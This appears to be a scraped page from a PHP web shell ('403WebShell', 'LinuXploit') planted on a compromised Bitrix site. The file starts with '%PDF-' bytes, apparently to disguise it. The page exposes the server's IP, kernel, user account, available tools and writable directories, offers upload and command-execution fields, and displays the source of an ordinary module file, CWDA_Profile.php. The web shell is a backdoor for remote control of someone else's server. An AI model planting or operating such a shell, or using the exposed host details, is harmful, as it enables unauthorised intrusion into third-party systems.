%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 52.14.80.90
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/webdebug.antirutin/classes/mysql/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/webdebug.antirutin/classes/mysql/CWDA_Profile.php
<?
IncludeModuleLangFile(__FILE__);

class CWDA_Profile {
	const MYSQL_DATE_FORMAT = 'YYYY-MM-DD HH:MI:SS';
	
	// Получение списка профилей
	public static function GetList($arSort=false, $arFilter=false, $Limit=false) {
		global $DB;
		if (!is_array($arSort)) {$arSort = array('SORT'=>'ASC', 'NAME'=>'ASC');}
		foreach ($arSort as $Key => $Value) {
			$Value = ToUpper($Value);
			if ($Value!='ASC' && $Value!='DESC') {
				unset($arSort[$Key]);
			}
		}
		$arDates = array(
			$DB->DateToCharFunction('DATE_CREATED').' as `DATE_CREATED`',
			$DB->DateToCharFunction('DATE_SUCCESS').' as `DATE_SUCCESS`',
		);
		$SQL = 'SELECT *, '.implode(', ',$arDates).' FROM `b_wd_antirutin_profiles`';
		// Фильтр
		if (is_array($arFilter) && !empty($arFilter)) {
			foreach ($arFilter as $arFilterKey => $arFilterVal) {
				if (empty($arFilterVal)) {
					unset($arFilter[$arFilterKey]);
				}
			}
			$arWhere = array();
			foreach ($arFilter as $Key => $Value) {
				$SubStr2 = substr($Key, 0, 2);
				$SubStr1 = substr($Key, 0, 1);
				$Key = $DB->ForSQL($Key);
				$KeyRaw = self::GetFilterKey($Key);
				$Value = $DB->ForSQL($Value);
				if (in_array($KeyRaw,array('DATE_CREATED','DATE_SUCCESS'))) {
					$Value = CDatabase::FormatDate($Value, FORMAT_DATETIME, self::MYSQL_DATE_FORMAT);
				}
				if ($SubStr2=='>=' || $SubStr2=='<=') {
					if ($SubStr2 == '>=') {$arWhere[] = "`b_wd_antirutin_profiles`.`{$KeyRaw}` >= '{$Value}'";}
					if ($SubStr2 == '<=') {$arWhere[] = "`b_wd_antirutin_profiles`.`{$KeyRaw}` <= '{$Value}'";}
				} elseif ($SubStr1=='>' || $SubStr1=='<') {
					if ($SubStr1 == '>') {$arWhere[] = "`b_wd_antirutin_profiles`.`{$KeyRaw}` > '{$Value}'";}
					if ($SubStr1 == '<') {$arWhere[] = "`b_wd_antirutin_profiles`.`{$KeyRaw}` < '{$Value}'";}
					if ($SubStr1 == '!') {$arWhere[] = "`b_wd_antirutin_profiles`.`{$KeyRaw}` <> '{$Value}'";}
				} elseif ($SubStr1=='!') {
					$arWhere[] = "`b_wd_antirutin_profiles`.`{$KeyRaw}` <> '{$Value}'";
				} elseif ($SubStr1=='%') {
					$arWhere[] = "upper(`b_wd_antirutin_profiles`.`{$KeyRaw}`) like upper ('%{$Value}%') and `b_wd_antirutin_profiles`.`{$KeyRaw}` IS NOT NULL";
				} else {
					$arWhere[] = "`b_wd_antirutin_profiles`.`{$KeyRaw}` = '{$Value}'";
				}
			}
			if (count($arWhere)>0) {
				$SQL .= ' WHERE '.implode(' AND ', $arWhere);
			}
		}
		// Сортировка
		if (is_array($arSort) && !empty($arSort)) {
			$SQL .= ' ORDER BY ';
			$arSortBy = array();
			foreach ($arSort as $arSortKey => $arSortItem) {
				$arSortKey = $DB->ForSQL($arSortKey);
				$arSortItem = $DB->ForSQL($arSortItem);
				if (!empty($arSortKey)) {
					$SortBy = "`{$arSortKey}`";
					if (!empty($arSortItem)) {
						$SortBy .= " {$arSortItem}";
					}
					$arSortBy[] = $SortBy;
				}
			}
			$SQL .= implode(', ', $arSortBy);
		}
		if($Limit!==false) {
			$SQL .= ' LIMIT '.$Limit;
		}
		return $DB->Query($SQL, false, __LINE__);
	}
	
	// Получение профиля по ID
	function GetByID($ID) {
		global $DB;
		$ID = IntVal($ID);
		if($ID>0) {
			return self::GetList(false, array('ID'=>$ID));
		}
		return false;
	}
	
	// Добавление профиля
	public static function Add($arFields) {
		global $DB;
		if (!is_array($arFields) || empty($arFields)) {
			return false;
		}
		if (empty($arFields['NAME'])) {
			return false;
		}
		if (trim($arFields['DATE_CREATED'])!='') $arFields['DATE_CREATED'] = CDatabase::FormatDate($arFields['DATE_CREATED'],FORMAT_DATETIME,self::MYSQL_DATE_FORMAT);
		if (trim($arFields['DATE_SUCCESS'])!='') $arFields['DATE_SUCCESS'] = CDatabase::FormatDate($arFields['DATE_SUCCESS'],FORMAT_DATETIME,self::MYSQL_DATE_FORMAT);
		$SQL_Keys = array();
		$SQL_Vals = array();
		foreach ($arFields as $Key => $Field) {
			$Key = $DB->ForSQL($Key);
			$Field = $DB->ForSQL($Field);
			$SQL_Keys[] = "`{$Key}`";
			$SQL_Vals[] = "'{$Field}'";
		}
		$SQL_Keys = implode(',',$SQL_Keys);
		$SQL_Vals = implode(',',$SQL_Vals);
		$SQL = "INSERT INTO `b_wd_antirutin_profiles` ({$SQL_Keys}) VALUES ({$SQL_Vals});";
		$resQuery = $DB->Query($SQL, false, __LINE__);
		if ($resQuery === false) {
			return false;
		}
		$LastID = $DB->LastID();
		if (is_numeric($LastID)) {
			return $LastID;
		} else {
			return false;
		}
	}
	
	// Изменение профиля
	public static function Update($ID, $arFields) {
		global $DB;
		$ID = IntVal($ID);
		if ($ID==0) {
			return false;
		}
		if (!is_array($arFields) || empty($arFields)) {
			return false;
		}
		if (isset($arFields['NAME']) && empty($arFields['NAME'])) {
			return false;
		}
		if (trim($arFields['DATE_CREATED'])!='') $arFields['DATE_CREATED'] = CDatabase::FormatDate($arFields['DATE_CREATED'],FORMAT_DATETIME,self::MYSQL_DATE_FORMAT);
		if (trim($arFields['DATE_SUCCESS'])!='') $arFields['DATE_SUCCESS'] = CDatabase::FormatDate($arFields['DATE_SUCCESS'],FORMAT_DATETIME,self::MYSQL_DATE_FORMAT);
		if(empty($arFields['DATE_SUCCESS'])) {
			 unset($arFields['DATE_SUCCESS']);
		}
		$arSqlSet = array();
		foreach ($arFields as $Field => $Value) {
			$Field = $DB->ForSQL($Field);
			$Value = $Value===false ? 'NULL' : '\''.$DB->ForSQL($Value).'\'';
			$arSqlSet[] = "`{$Field}`={$Value}";
		}
		$arSqlSet = implode(',',$arSqlSet);
		$SQL = "UPDATE `b_wd_antirutin_profiles` SET {$arSqlSet} WHERE `ID`='{$ID}' LIMIT 1;";
		$resQuery = $DB->Query($SQL, true, __LINE__);
		if ($resQuery === false) {
			return false;
		}
		return $resQuery->AffectedRowsCount();
	}
	
	// Изменение значения поля для профиля
	public static function SetFieldValue($ID, $Data, $Data2=false){
		global $DB;
		$ID = IntVal($ID);
		if(!empty($Data) && is_string($Data) && (is_string($Data2) && !empty($Data2) || $Data2===false)) {
			$Data = array(
				$Data => $Data2,
			);
		}
		if($ID>0 && is_array($Data)){
			$arSqlSet = array();
			$arAvailableFields = self::GetAvailableFields();
			foreach($Data as $Field => $Value){
				$Field = $DB->ForSQL(ToUpper($Field));
				if(in_array($Field,$arAvailableFields)) {
					$Value = $Value===false ? 'NULL' : '\''.$DB->ForSQL($Value).'\'';
					$arSqlSet[] = "`{$Field}`={$Value}";
				}
			}
			if(!empty($arSqlSet)) {
				$arSqlSet = implode(',',$arSqlSet);
				$SQL = "UPDATE `b_wd_antirutin_profiles` SET {$arSqlSet} WHERE `ID`='{$ID}' LIMIT 1;";
				$reqQuery = $DB->Query($SQL, true, __LINE__);
				if ($reqQuery !== false) {
					return true;
				}
			}
		}
		return false;
	}
	
	// Удаление профиля
	public static function Delete($ID) {
		global $DB;
		$ID = IntVal($ID);
		if ($ID==0) {
			return false;
		}
		$resProfile = self::GetByID($ID);
		if ($arProfile = $resProfile->GetNext(false,false)) {
			$SQL = "DELETE FROM `b_wd_antirutin_profiles` WHERE `ID`='{$ID}' LIMIT 1;";
			$resDelete = $DB->Query($SQL, true, __LINE__);
			if($resDelete->result) {
				return true;
			}
		}
		return false;
	}
	
	// Получение списка доступных полей для таблицы из БД
	private static function GetAvailableFields() {
		$PHPCache = new CPHPCache;
		$CacheLifeTime = 60*60;
		$CacheID = 'CWDA_Profile__GetAvailableFields';
		if($PHPCache->InitCache($CacheLifeTime, $CacheID, '/')) {
			$arResult = $PHPCache->GetVars();
		} else {
			global $DB;
			$SQL = 'SHOW COLUMNS FROM `b_wd_antirutin_profiles`;';
			$resFields = $DB->Query($SQL, true, __LINE__);
			while ($arField = $resFields->GetNext(false,false)) {
				$arResult[] = $arField['Field'];
			}
			if($PHPCache->StartDataCache()) {
				$PHPCache->EndDataCache($arResult); 
			}
		}
		return $arResult;
	}
	
	// Очистка ключа от спецсимволов
	private static function GetFilterKey($Key) {
		return trim($Key,"\s\r\n\t<>=%!");
	}
	
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit